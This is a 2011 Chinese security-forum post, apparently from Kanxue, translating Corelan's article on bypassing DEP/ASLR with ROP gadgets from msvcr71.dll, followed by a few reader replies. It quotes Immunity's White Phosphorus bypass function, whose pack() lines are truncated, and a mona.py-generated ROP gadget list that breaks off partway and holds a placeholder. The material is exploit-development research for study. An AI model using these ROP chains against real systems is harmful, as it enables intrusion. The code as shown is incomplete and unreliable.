首页
社区
课程
招聘
6
[翻译]利用msvcr71.dll 与mona.py实现通用绕过DEP/ASLR
发表于: 2011-8-24 15:33 14922

[翻译]利用msvcr71.dll 与mona.py实现通用绕过DEP/ASLR

2011-8-24 15:33
14922

原文: Corelan Team (corelanc0d3r)


                                                                        翻译: 后恋


说明


最近几周,有许多关于利用msvcr71.dll中ROP gadgets(译者注gadgets小代码)实现通用绕过DEP/ASLR的方法,事实上甚至已经有集成了这类功能的exploit程序被提交给Metasploit来获取奖金了。


白磷版本


        做为白磷漏洞包发布的一部分,这段代码仅仅使用了msvcr71.dll中的gadgets和指向VirtualProtect函数的指针。这个版本的dll没有基于ASLR,因此这是个可以用来实现通用绕过DEP和ASLR的完美侯选者,此外它还包含了生成ROP程序的所有gadgets。


        如果目标应用程序加载了该版本的dll(或者可以让它强制加载),我们就可以使用ROP chain来实现绕过DEP和ASLR的通用方法。


        Immunity公司在他们的网站上公布了绕过技巧,主要代码如下:



def wp_sayonaraASLRDEPBypass(size=1000):


    # White Phosphorus


    # Sayonara Universal ASLR + DEP bypass for Windows [2003/XP/Vista/7]


    #


    # This technique uses msvcr71.dll which has shipped unchanged


    # in the Java Runtime Environment since v1.6.0.0 released


    # December 2006.


    #


    # mail: support@whitephosphorus org


    # sales:

http://www.immunityinc.com/products-whitephosphorus.shtml



    print "WP> Building Sayonara - Universal ASLR and DEP bypass"



    size += 4  # bytes to shellcode after pushad esp ptr



    depBypass = pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack("


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('


    depBypass += pack('



    print "WP> Universal Bypass Size: %d bytes"%len(depBypass)


    return depBypass


        受Mestasploit奖金事件的触动,以及Abysssec几个小时前(译者注:2011/07/03)发表的一个类似文档,同时由于Immunity已经发布了代码,我决定自己再研究下看看能不能从msvcr71.dll中找到其他的能够绕过DEP/ASLR的代码


另一种版本(mona.py)


        我用Immunity Debugger调试一个加载了这个dll的应用程序,利用mona.py脚本创建一个拥有ROP gadgets的数据库,并且生成一个rop chain


        因为在白磷版本中没有null字节,所以可以尝试做同样的事。


        结果如下:


        输入命令:


        !mona rop -m msvcr71.dll -n


        17秒后,结果如下:


rop_gadgets =


        [


                0x7c346c0a,        # POP EAX # RETN (msvcr71.dll)


                0x7c37a140,        # <- *&VirtualProtect()


                0x7c3530ea,        # MOV EAX,DWORD PTR DS:[EAX] # RETN (msvcr71.dll)


                0x????????,        # ** <- find routine to move virtualprotect() into esi


                                   # ** Hint : look for mov [esp+offset],eax and pop esi


                0x7c376402,        # POP EBP # RETN (msvcr71.dll)


                0x7c345c30,        # ptr to 'push esp #  ret ' (from msvcr71.dll)


                0x7c346c0a,        # POP EAX # RETN (msvcr71.dll)


                0xfffffdff,        # value to negate, target value : 0x00000201, target: ebx


                0x7c351e05,        # NEG EAX # RETN (msvcr71.dll)


                0x7c354901,        # POP EBX # RETN (msvcr71.dll)


                0xffffffff,        # pop value into ebx


                0x7c345255,        # INC EBX # FPATAN # RETN (msvcr71.dll)


                0x7c352174,        # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (msvcr71.dll)


[招生]科锐逆向工程师培训(2025年3月11日实地,远程教学同时开班, 第52期)!

收藏
免费 6
支持
分享
赞赏记录
参与人
雪币
留言
时间
伟叔叔
为你点赞~
2024-5-31 02:01
心游尘世外
为你点赞~
2024-3-2 00:11
飘零丶
为你点赞~
2024-2-24 00:52
QinBeast
为你点赞~
2024-1-28 00:24
shinratensei
为你点赞~
2024-1-23 01:57
PLEBFE
为你点赞~
2023-3-7 02:57
最新回复 (7)
雪    币: 26
活跃值: (289)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
辛苦辛苦~~~~~!
2011-8-24 15:38
0
雪    币: 678
活跃值: (101)
能力值: ( LV2,RANK:150 )
在线值:
发帖
回帖
粉丝
3
如果能够看到OD版本的mona就非常之强大了。不仅仅是会用,更重要是它是怎么实现的,既然都已经开源了。相信应该不难。
2011-8-24 16:08
0
雪    币: 196
活跃值: (20)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
没下载链接啊。。我要mona.py
2011-8-24 22:04
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
5
啥叫白磷啊... 自己找其实也挺快的
lz对jit-spary有研究没
2011-8-24 22:28
0
雪    币: 27
活跃值: (122)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
6
至今没有懂mona,悲哀了..
2011-8-25 21:57
0
雪    币: 433
活跃值: (1885)
能力值: ( LV17,RANK:1820 )
在线值:
发帖
回帖
粉丝
7
有人已经翻译过了吧,就发在论坛上。
2011-8-26 08:35
0
雪    币: 146
活跃值: (182)
能力值: ( LV13,RANK:220 )
在线值:
发帖
回帖
粉丝
8
mona只是个immxxdebug的一个python插件吧了  用于查找rop  过seh类似其他的

的指令的..在我机器上输入!mona 就蓝屏的说....
2011-8-29 00:17
0
游客
登录 | 注册 方可回帖
返回

账号登录
验证码登录

忘记密码?
没有账号?立即免费注册